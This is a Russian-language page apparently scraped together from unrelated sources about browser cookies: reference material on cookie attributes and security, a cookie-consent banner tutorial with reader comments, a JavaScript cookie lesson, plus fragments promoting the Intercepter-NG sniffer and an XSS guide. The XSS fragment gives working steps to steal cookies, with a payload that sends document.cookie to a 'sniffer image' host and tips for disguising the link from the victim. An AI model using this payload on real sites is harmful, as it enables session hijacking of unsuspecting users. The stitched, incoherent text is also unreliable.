Как сделать так чтобы никто не смог угнать куки через джаваскрипт
Обновлено: 08.07.2024
Cookie используются, главным образом, для:
⦁ Управления сеансом (логины, корзины для виртуальных покупок)
⦁ Персонализации (пользовательские предпочтения)
⦁ Мониторинга (отслеживания поведения пользователя)
До недавнего времени cookie принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что cookie пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API ( localStorage and sessionStorage ) и IndexedDB.
Создание cookie
Заголовки Set-Cookie и Cookie
Этот заголовок с сервера даёт клиенту указание сохранить cookie (это делают, например, PHP, Node.js, Python и Ruby on Rails). Отклик, отправляемый браузеру, содержит заголовок Set-Cookie , и cookie запоминается браузером.
Сессионные cookie
Простой cookie, пример которого приведён выше, представляет собой сессионный cookie (session cookie) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты Expires или Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.
Область видимости куков
Директивы Domain и Path определяют область видимости куки, то есть те URL-адреса, к которым куки могут отсылаться.
Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берётся доменная часть адреса документа (но без поддоменов). Если домен указан явно, то поддомены всегда включены.
Атрибут Path указывает URL, который должен быть в запрашиваемом ресурсе на момент отправки заголовка Cookie. Символ %x2F ("/") интерпретируется как разделитель разделов, подразделы также включаются.
Если задано Path=/docs, то подходят и такие пути, как:
Куки SameSite
Куки SameSite позволяют серверам декларировать, что куки не должны отсылаться с межсайтовыми запросами, что в некотором роде обеспечивает защиту от межсайтовых подделок запроса (CSRF). Куки SameSite находятся пока в стадии эксперимента и поддерживаются не всеми браузерами.
Доступ из JavaScript посредством Document.cookie
Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчёркнутые ниже (раздел Security). Куки, доступные для JavaScript, могут быть похищены посредством XSS.
Безопасность
Захват сессии (session hijacking) и XSS
Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошёл процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для XSS (en-US).
Межсайтовая подделка запроса (CSRF - Cross-site request forgery)
Теперь, если вы зашли в свой банковский аккаунт, а куки по-прежнему действительны (и никакой дополнительной проверки не требуется), то при загрузке HTML-документа с этим изображением деньги будут переведены с вашего счета. Для защиты от этого используется ряд методов:
- Как и при XSS (en-US), важна фильтрация входящей информации.
- Для любой важной операции должно запрашиваться подтверждение.
- Куки, используемые для ответственных операций, должны иметь короткий срок действия.
- Дополнительную информацию можно получить в пользовательской инструкции по предотвращению OWASP CSRF.
Отслеживание и частные данные
Сторонние (Third-party) куки
Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе cookie statement (создание куков).
Не отслеживать (Do-Not-Track)
Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок DNT , хотя технических или законодательных требований на этот счёт нет. Подробнее об этом рассказывается в разделе заголовок DNT .
Директива Евросоюза о куках
Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (Directive 2009/136/EC), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счёт могут быть свои законы.
Согласно этой директиве для хранения или извлечения информации с компьютера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента её появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.
Подробнее об этом можно прочитать в соответствующем разделе Википедии (Wikipedia). За наиболее полной и точной информацией обращайтесь к законодательствам конкретных стран.
Куки-зомби и "вечные" куки
Более радикальный подход к кукам представляют собой куки-зомби, или "вечные" куки, которые восстанавливаются после удаления, и полное удаление которых умышленно затруднено. Они используют прикладные интерфейсы веб-хранилищ (Web storage API), Flash Local Shared Objects и другие методы собственного воссоздания в случае, если обнаружено их отсутствие.
Привет всем, у кого есть свой сайт. Вы, скорее всего, знаете, что если у вас есть сайт, то он постоянно требует каких-то доработок и улучшений. То закон какой-то новый выйдет, то в SEO что-то изменится и так далее. Сегодня я покажу вам простой способ, как можно добавить на сайт предупреждение об использовании cookie без использования плагинов.
Конечно же, если у вас сайт на какой-то популярной платформе типа WordPress, то для предупреждения об использовании cookie можно установить любой из огромного количества плагинов, которые сделают всю работу за вас. Однако опытные вебмастера прекрасно знают, что чем больше на сайте плагинов, тем медленнее он работает, а это уже напрямую влияет на SEO. Поэтому если вы хоть немного понимаете код (CSS, JS, HTML), то лучше всего сделать предупреждение об использовании Cookie своими руками.
Все ли сайты используют Cookie
Этим вопросом задаются многие владельцы сайтов. Ответ очень простой – почти со 100% вероятностью ДА. Исключением могут быть только сайты, на которых нет вообще ничего, кроме текстового контента: ни счетчиков посещаемости, ни рекламы, ни форм обратной связи и так далее. В общем, если у вас хоть сколько-нибудь нормальное подобие современного сайта, то предупредить об использовании Cookie вы просто обязаны.
Почему я использовал Local Storage при написании предупреждения
Честно вам скажу, перед тем, как сделать такое предупреждение на своем сайте, я просмотрел несколько похожих статей с готовыми решениями. Но они мне не понравились. Объясняю чем. Во всех решениях были использованы cookie для работы этого функционала. Оно и не сильно странно, и даже логично. Но сейчас есть решение гораздо более удобное и простое – локальное хранилище браузера (local storage).
Работа локального хранилища очень похожа на работу cookie, но есть существенные отличия.
- Каждый раз, когда что-то записывается в cookie (или стирается оттуда), то эта информация отправляется на сервер. А это дополнительная нагрузка на сервер. А если вы обрабатываете cookie сервером, а не клиентской частью, то это еще и дополнительные задержки времени. Local Storage же в отличие от Cookie никуда дальше браузера пользователя не уходит и хранится только там.
- С локальным хранилищем удобнее работать, так как это самый обыкновенный объект. Cookie же представляют собой строку, которую постоянно приходится распарсивать, использовать регулярки или подключать дополнительный библиотеки для удобной работы с Cookie. А дополнительные библиотеки опять же негативно влияют на скорость работы вашего сайта.
Вот и во всех примерах, которые я находил в интернете для работы с cookie используют библиотеку jQuery да еще и с дополнительной мини библиотекой, которая позволят jQuery удобнее работать с кукисами. Есть примеры кода и на чистом Java Script, но они, как правило, очень громоздкие и неудобные.
Как я сделал предупреждение об использовании cookie на сайте без плагина
Код будет состоять из трех частей. Первый кусок – html разметка. Его нужно поместить куда-то в футер вашего сайта (в самый низ). Если у вас сайт на CMS, то ищите у него в корне шаблона файл footer.php. Если у вас какой-то простенький одностраничный сайт, то в самом низу найдите тег . Внутри него обязательно будет еще какой-то код. Нет большой разницы, куда именно вы поместите наш код, но я бы советовал в самом конце этого тега, как раз перед .
Третья часть – JS (Java Script) – самое вкусное во всем это творении. Как раз тут я использовал локальное хранилище браузера – быстрое, удобное, доступное. Код со скриптами вам нужно добавить в основной скриптовый файл (если у вас их несколько), который срабатывает абсолютно на всех страницах сайта.
Когда вы все закончите, то вот, как у вас будет это выглядеть:
Сразу после использования кода
Cookie предупреждение в контексте сайта и с кнопкой стилизованной под общий стиль сайта
Как работает предупреждение об использование Cookie, которое я сделал
Да, для большинства из вас этот пункт, наверное, будет неинтересен. Вы просто вставите код, все заработает, и вы мысленно скажете мне спасибо. Но для тех из вас, кому интересно разобраться подробнее, я объясню некоторые ключевые моменты скрипта.
UNIX время — это количество секунд, прошедших с полуночи (00:00:00 UTC) 1 января 1970 года (источник — википедия)
Также мы показываем это предупреждение в случае, если указанного ключа вообще не было в локальном хранилище. Это означает, что человек на нашем сайте впервые.
В противном случае мы ничего не делаем, и пользователь просто не видит предупреждение, потому что по умолчанию оно у нас скрыто, насколько вы помните.
Вывод
Надеюсь, я смог помочь решить вашу проблему, и теперь вы знаете, как сделать на своем сайте предупреждение об использовании Cookie. Если у вас остались какие-то вопросы по поводу использования этого кода, то смело задавайте их в комментариях.
Кстати, если вы знаете, почему традиционно предупреждение о Cookie пишут с использованием самих же Cookie, а не Local Storage, сообщите мне, пожалуйста, об этом. Вдруг я делаю что-то не так. Хотя чисто технически код выполняет именно то, чего от него ждут.
Всем спасибо за внимание.
Нам очень приятно! Не могли бы вы поделиться этой статьей с друзьями? А также мы будем рады, если вы оставите комментарий.
Добавить комментарий Отменить ответ
Здравствуйте!
У меня почему-то не срабатывает хранение куки на год. В сессии работает, а после закрытия браузера опять выскакивает окно. На вашем сайте сработало. В чем может быть дело?
Добрый день.
Возможно вы используете session storage вместо local storage.
Еще одна возможная причина — у вас установлен какой-нибудь чистильщик в браузере или на компьютере.
Это первое что приходит на ум. А так причин может быть много конечно и часто не очевидных.
Здравствуйте! Подскажите пожалуйста, как реализовать ваш код на одночастичном сайте? Разместил код в index.htm появился текст на странице, потом разместил ваш код в style.css. Соответственно текст пропал, далее разместил код JS, но окно предупреждения о куках не появилось. На других сайтах работает! Подскажите пожалуйста мою ошибку? Скорее всего JS неправильно подключил.
Может вы не заметили, как случайно нажали на кнопку и теперь увидите эту плашку через год.
Попробуйте открыть свой сайт через режим инкогнито в браузере или попробуйте почистить куки.
Здравствуйте! Столкнулся с проблемой, при добавлении JS в файл functions.php. Сайт становится не доступный, а синтаксис ошибке указывает на unexpected ‘cookieDate’ (T_STRING) in. Код вставляю перед ?>
В чем может быть проблема?
Лучше, конечно, подключать скрипты отдельным файлом. В вашей ситуации нужно закрывать php тег, вставлять скрипт, а потом снова открывать
Готовые коды это прикольно, вод бы еще понимать куда их вставлять. Вставлял коды как описано в статье не сработало. Первый код вставил в файл footer.php перед . Второй код со стилями вставил в файл style.css в самом конце. Третий скрипт вставлял во все файлы, которые были в формате js.
Ну в целом вы все правильно сделали. Только последний код нужно было вставлять не во все подряд js файлы, а только в тот, который у вас подключается на всех страницах.
Но у вас там вообще проблема с подключенными стилями и скриптами — одни и те же файлы подключены по несколько раз.
Как пользоваться intercepter-ng для чайников
Несмотря на многообразие выбора современного софта, программы для взлома на андроид лучше, чем intercepter ng найти сложно. Первым критерием, указывающим в пользу данного продукта, является его реальная работоспособность. Большинство предлагаемых снифферов в сети – только имитация, не выполняющая заявленных функций.
Следующими положительными факторами является многофункциональность приложения и охват широкой аудитории пользователей.
Компьютерная помощь 939-29-71
Эту информацию веб — сервер передает на браузер пользователя. где эта информация и хранится до востребования. Не совсем понятно. Ну. хорошо.
постараюсь ещё проще. Смотрите. вы зарегистрировались на каком — либо сайте.
Вот они — то и являются.
Cookie Cadger
Как украсть куки
Если, находясь на странице сайта, Вы введёте в адресную строку браузера Firefox или Opera следующий текст: javasсript:document.write(document.сооkiе); то увидите нечто вроде: remixAdminsBar=0; remixGroupType=0; remixpass=******************; remixwall=0; remixInformation=0; remixMembersBar=0; remixdescription=0; remixautobookmark=8; remixemail=*******; remixmid=23363; remixchk=5; remixaudios=0; remixlinksBar=1; remixOfficersBar=0; remixPhotosBar=0; remixTopicsBar=0; remixvideos=0; remixRecentNews=0; remixAlbumsBar=0 Внимание! .
Полное пособие по межсайтовому скриптингу
Разница между cookie и сессиями
Не так давно я писал статью о том, как сделать регистрацию и авторизацию пользователей на сайте.
«. В этой статье я собираюсь разобрать разницу между сессиями и cookie . чтобы Вы окончательно определились с выбором.
Идеальный муж и я, или как украсть 55 поцелуев
1. Отключаете в браузере все плагины блокировки рекламы (адблок, адгвард, антишок и т.д.).
Проверяете. 2. Отключаете режим турбо (если есть в браузере). Проверяете. 3. Проверяете тут уровень поддержки html5 вашим браузером.
Там есть кнопка save results, ссылку на результат отправляете администратору сайта вместе с описанием проблемы и указанием вашего браузера.
PHP для начинающих
Всем хорошего дня. Перед вами первая статья из серии разработчиков.
тут будет hardcore из жизни PHP программистов с небольшой примесью “домашней работы” для закрепления материала.
Начну с сессий – это один из самых важных компонентов, с которыми вам придется работать. Не понимая принципов его работы – наворотите делов.
Вы на сайте самой прогрессивной Он-Лайн игры Воины и Маги.
Здесь вы можете с удовольствием провести время, познакомиться с интересными людьми и найти себе друзей. Это ролевая игра. Вам предстоит играть за своего персонажа в мире ВиМ, совершенствовать его навыки и умения, проводить бои, участвовать в чемпионатах, заключать союзы или враждовать с другими игроками.
Уникальная система сражений, разработанная для игры, превращает битвы в увлекательные поединки и захватывающие баталии.
Я даже не рассматриваю ситуацию с программой, которая запомнила пароль без вашего ведома. Это уже взлом сознательный, и вы, наверное, будете подозревать, что что-то такое может случиться и не зайдете на таком компьютере на любимый сайт. Но речь может идти о простом человеческом любопытстве — были в гостях у знакомых, а тут раз, и они получают возможность почитать вашу почту. Вы уверены, что они откажутся от такой возможности? А вы не боитесь, что что-то выплывет? В любом случае, я отложу вопросы нравственности и просто поговорю о том, каким образом созраняется на компьютере информация о том, что вас теперь можно пустить на какой-то сайт не запрашивая пароля.
как украсть Cookie
Cookie — это маленькая запись на вашем компьютере, хранящая информацию о сайте, который вы посетили. При авторизации создается подобная запись, после чего вы уже можете гулять по форуму, и он будет вас опознавать. Однако, это уже будет происходить автоматически — благодаря информации, хранящейся в cookie — так что сделать вид, что вы являетесь главным администратором форума, все равно не получится в обход проверки пароля.
Теперь можно вернуться к тому, с чего начиналась эта статья. Если вы авторизовались где-то даже не сохраняя пароль, то может случиться так, что на компьютере создалась запись, позволяющая теперь входить на этот ресурс под вашим именем без авторизации. Такая запись сама устареет через некоторое время, но можно ее принудительно очистить. В каждом браузере это делается по-своему, я покажу, как это можно сделать в моем любимом Google Chrome. Открываем параметры
comments powered by
Пассивные XSS требуют от жертвы непосредственного участия, например перейти по ссылке, содержащей javascript код. При использовании этого типа XSS не обойтись без СИ(Социальная Инженерия)
2.Поиск XSS
В этом пункте я расскажу как найти xss
http://miss.rambler.ru/srch/?sort=0& … &words адрес картинки-сниффера"+document.cookie;
Кидаем эту ссылку жертве и радуемся кукам.
Увидев такую ссылку жертва может что-то заподозрить, поэтому желательно закодировать
">
в URL Или воспользоваться сервисами типа http://tinyurl.com/
Перейдем к активным XSS, тут все просто, вместо alert() вставляем img = new Image();img.src = "адрес картинки-сниффера"+document.cookie;
Сookies или куки – это данные в виде пар ключ=значение, которые хранятся в файлах на компьютере пользователя.
Для хранимых данных существуют несколько ограничений:
- Одна пара запись не должна занимать более 4Кб.
- Общее количество кук на один домен ограничивается примерно 20.
В старых браузерах navigator.cookieEnabled может быть неопределенным.
Max-age и Expires
max-age устанавливает время жизни куки в секундах, а параметр expires задает непосредственно дату окончания в формате RFC-822 или RFC-1123 ( Mon, 03 Jul 2021 10:00:00 GMT ).
Следующие примеры устанавливают куки name=user сроком на один месяц:
Как правило, в качестве пути указывают корень сайта path=/ , чтобы куки были доступны на всем сайте.
Domain
Параметр указывает домен, на котором будут доступны куки, включая поддомены.
Secure
Чтение кук не совсем удобное, в JS нет нативного метода, который получит значение по ключу. Объект document.cookie возвращает все установленные значения в виде строки, например:
Удаление данных происходит путём установки новой куки с параметром max-age=-1 или expires с прошедшей датой.
Просмотр, редактирование и удаление кук доступно в браузерах, в панелях для разработчиков:
Google Chrome
Mozilla Firefox
В примере выполняется сохранение выбранного пункта селекта на нескольких страницах:
Некоторые видео могут забегать вперед, тк к этому месту учебника мы прошли еще не весь ES6. Просто пропускайте такие видео, посмотрите потом.
Регулярки
- Урок №
Учебник
по регулярным выражениям - Урок №
Работа с регулярными
выражениями. Глава 1. - Урок №
Работа с регулярными
выражениями. Глава 2. - Урок №
Работа с регулярными
выражениями. Глава 3. - Урок №
Работа с регулярными
выражениям. Глава 4. - Урок №
Отличия
от PHP версии
Разное
Работа с канвасом
Практика
Контекст
Drag-and-Drop
- Урок №
новая вкладка с new.code.mu
Доступные события - Урок №
новая вкладка с new.code.mu
Перемещение элемента по окну - Урок №
новая вкладка с new.code.mu
Перемещение на другой элемент - Урок №
новая вкладка с new.code.mu
Объект event.dataTransfer - Урок №
новая вкладка с new.code.mu
Картинка при перетягивании - Урок №
новая вкладка с new.code.mu
Вид курсора
- Урок №
Введение
в ООП в стиле ES6 - Урок №
Основы
работы с ООП - Урок №
Наследование
классов в JavaScript
Продвинутая работа
с классами на JavaScript --> - Урок №
Применение
ООП при работе с DOM - Урок №
Практика
по ООП в JavaScript - Тут скоро будут еще уроки
по функциональному и прототипному
стилю ООП.
Практика по ООП
Ваша задача: посмотрите, попробуйте повторить.
Практика
Promise ES6
- Урок №
новая вкладка с new.code.mu
Функции resolve reject - Урок №
новая вкладка с new.code.mu
Метод catch - Урок №
новая вкладка с new.code.mu
Цепочки промисов - Урок №
новая вкладка с new.code.mu
Перехват ошибок - Урок №
новая вкладка с new.code.mu
Promise.all - Урок №
новая вкладка с new.code.mu
Promise.race - Урок №
новая вкладка с new.code.mu
async await - Урок №
новая вкладка с new.code.mu
Загрузка картинок
Библиотека jQuery
Тк. jQuery устаревает, объявляю эти уроки не обязательными и выношу в конец учебника (так по уровню уроки середины учебника, если что). В перспективе переедет в отдельный учебник по jq.
- Урок №
Учебник
jQuery для новичков - Урок №
Основы
работы с jQuery - Урок №
Манипулирование
элементами страницы - Урок №
Работа
с набором элементов - Урок №
Работа
с событиями jQuery - Урок №
Эффекты и анимация
библиотеки jQuery - Урок №
Практика на отработку
библиотеки jQuery - Урок №
Работа с
библиотекой jQueryUI - Урок №
Популярные плагины
библиотеки jQuery
Сейчас мы с вами будем разбираться с cookie (куки). Куки - это небольшой кусочек информации, который может храниться в браузере пользователя.
Эта информация доступна в каждый заход пользователя на страницу нашего сайта. Можно, к примеру, по первому заходу пользователя на страницу спросить у него дату рождения, а потом, когда наступит его день рождения - поприветствовать его. Или можно показать пользователю баннер с кнопкой
Или можно показать пользователю баннер с кнопкой 'не показывать 1 день'. По нажатию на эту кнопку баннер скрывается, но в куки пишется информация о моменте времени, когда это произошло - и ровно через сутки баннер покажется опять.
Кроме того, с куками можно работать не только из JavaScript, но и из PHP (там это нужно, например, для хранения авторизации пользователя), см. работа с куками на PHP при необходимости.
В общем, куки достаточно полезная штука и с ее помощью можно сделать довольно много интересных вещей. Давайте разбираться, как работать с куками через JavaScript.
К сожалению, работа с куками в JavaScript реализована просто ужасно и без костылей тут не обойтись, а лучше просто использовать готовые библиотеки.
Итак, давайте приступим.
Основы работы с куками
К кукам, хранящимся в браузере, можно получить доступ с помощью document.cookie. С помощью этого свойства куки можно записывать и можно прочитывать.
В document.cookie куки хранятся просто в виде строки. Эта строка состоит из пар имя_куки=значение_куки , которые перечисляются через точку с запятой с пробелом '; '.
Пример: 'name=Вася; age=25'.
Чтобы записать в куки, нужно просто в document.cookie присвоить куку с ее именем:
При записывании новой куки те куки, которые там уже были, не затрутся. Посмотрим на примере - будем постепенно записывать новые куки и сразу выводить текущее содержимое document.cookie:
Если устанавливать куку с тем же именем в разные значения - новое значение будет затирать предыдущее:
Когда вы будете экспериментировать с куками, имейте ввиду, что уже установленные куки никуда не деваются из document.cookie и мои примеры кода у вас могут работать не совсем так, как показано - вы будете видеть еще и ранее установленные куки.
Получение куки по ее имени
Итак, мы уже определи, что куки хранятся в виде простой строки, например, 'name=Вася; age=25; salary=1000'. Получается, чтобы найти, к примеру, значение куки с именем age, его нужно достать из это строки каким-нибудь способом: к примеру функциями работы со строками или регулярными выражениями.
Дальнейшие рассуждения вам не будут понятны без знания регулярных выражений, см. вначале учебник по регулярным выражениям. Или просто пропустите эти рассуждения и пользуйтесь готовой функцией не вникая особо в ее суть.
Давайте попробуем написать регулярку, которая вытягивает значение куки с именем age:
Однако, эта регулярка не идеальна и при некоторых условиях может или не работать, или работать не правильно.
Во-первых, в нашей регулярке в конце стоит точка с запятой - разделитель разных кук в document.cookie. Но посмотрим внимательно на нашу строку с куками - 'name=Вася; age=25; salary=1000' - у последней куки нету точки с запятой в конце! И наша регулярка эту куку не возьмет.
Нужно ее модифицировать и сказать, что кука заканчивается или точкой с запятой, или концом строки. Модифицируем: /age=(.+?)(;|$)/.
Во-вторых, следует дописать часть регулярки перед именем куки - перед этим именем может быть пробел или начало строки, если кука первая. Допишем: /(^|\s)age=(.+?)(;|$)/.
Значение куки может быть пустым, к примеру, если мы в document.cookie записывали вот так: 'age='. Учтем это в нашей регулярке - заменим + на *. Заменим: /(^|\s)age=(.*?)(;|$)/.
Давайте теперь введем несохраняющие скобки, чтобы не плодить лишних карманов: /(?:^|\s)age=(.*?)(?:;|$)/.
А теперь давайте реализуем функцию getCookie(), которая параметром будет принимать имя произвольной куки и возвращать ее значение. Вот эта функция:
Однако, у нас есть проблема: ведь в переменной name могут быть специальные символы (команды регулярных выражений), которые сломают нашу регулярку. Давайте заэкранируем все эти символы (заменим их на их же, но с экранирующем обратным слешем спереди):
С учетом этого исправления получим следующее:
Теперь разберемся с matches[1]. Если кука существует - все хорошо, а вот если не существует - давайте вернем undefined:
Перепишем этот if в сокращенный вариант:
С учетом исправления получим следующий код:
Теперь учтем, что некоторые браузеры выполняют url кодирование кук и раскодируем их обратно с помощью decodeURIComponent:
Дополнительные настройки кук
Это еще не все: у кук есть дополнительные настройки, которые чаще всего желательно указать.
Эти настройки указываются после пары ключ=значение, каждое – после точки с запятой. Как-то так:
Папка установки
Первая настройка, которую мы разберем - это папка сайта, для которой установлена кука. Это очень важная настройка, так как куки без нее работают совсем не так, как мы ожидаем - при установки куки мы думаем, что она будет доступна на всем сайте, а она будет доступна только в папке установки и ее подпапках.
Можно указать и конкретную папку, например path=/folder:
Домен установки
Время жизни
Все куки живут только определенное время. По умолчанию куки живут очень не долго - всего лишь до закрытия браузера. Чаще всего нас это не устраивает и мы хотели бы сделать куки более долгоживущими.
Для этого применяется настройка expires, в которую следует задавать момент времени, до которого живет кука. Этот момент устанавливается в формате GMT. Этот формат можно получить так: используем объект Date, устанавливаем в любое время, а потом вызываем метод toUTCString.
Давайте установим время жизни куки +1 день от текущего момента:
Удаление кук
Куки удаляются интересным образом: нужно установить время их жизни в прошедшее время, ну или просто поставить его как -1. Давайте удалим нашу куку:
Библиотеки для работы с куками
Так как работа с куками в JavaScript реализована просто ужасно, существуют библиотеки, которые упрощают работу с ними. Изучите эти библиотеки самостоятельно: куки на чистом JavaScript и плагин jQuery.
Что вам делать дальше:
Приступайте к решению задач по следующей ссылке: задачи к уроку.
Когда все решите - переходите к изучению новой темы.
Учебник JavaScript
- Урок №
Учебник
JavaScript для новичков - Урок №
Основы
языка JavaScript - Урок №
Основы работы
с массивами и объектами - Урок №
Работа с конструкциями
if-else и switch-case - Урок №
Работа с циклами
for и while - Урок №
Работа
с математическими функциями - Урок №
Работа со строковыми
функциями в JavaScript - Урок №
Функции
работы с массивами - Урок №
Практика на комбинации
стандартных функций - Урок №
Основы работы
с пользовательскими функциями - Урок №
Приемы работы
с флагами - Урок №
Приемы работы
с логическими значениями - Урок №
Приемы работы
с циклами - Урок №
Приемы работы
с массивами - Урок №
Правильное использование
пользовательских функций - Урок №
Практика на
пользовательские функции - Урок №
Продвинутая работа
с пользовательскими функциями
Практика
Работа с DOM
- Урок №
Основы
работы с DOM - Урок №
Работа
с элементами HTML страницы - Урок №
Работа
с датами в JavaScript - Урок №
Работа
с таймерами в JavaScript - Урок №
Продвинутая
работа с событиями - Урок №
Продвинутая
работа с DOM - Урок №
Работа
с метриками - Урок №
Работа
с метриками для window - Урок №
Основы работы
с объектом Event - Урок №
Продвинутая работа
с объектом Event - Урок №
Разные
полезные темы - Урок №
новая вкладка с new.code.mu
Работа с узлами
Практика
Некоторые продвинутые вещи
Рекомендованное ES6
Некоторые видео могут забегать вперед, тк к этому месту учебника мы прошли еще не весь ES6. Просто пропускайте такие видео, посмотрите потом.
Читайте также: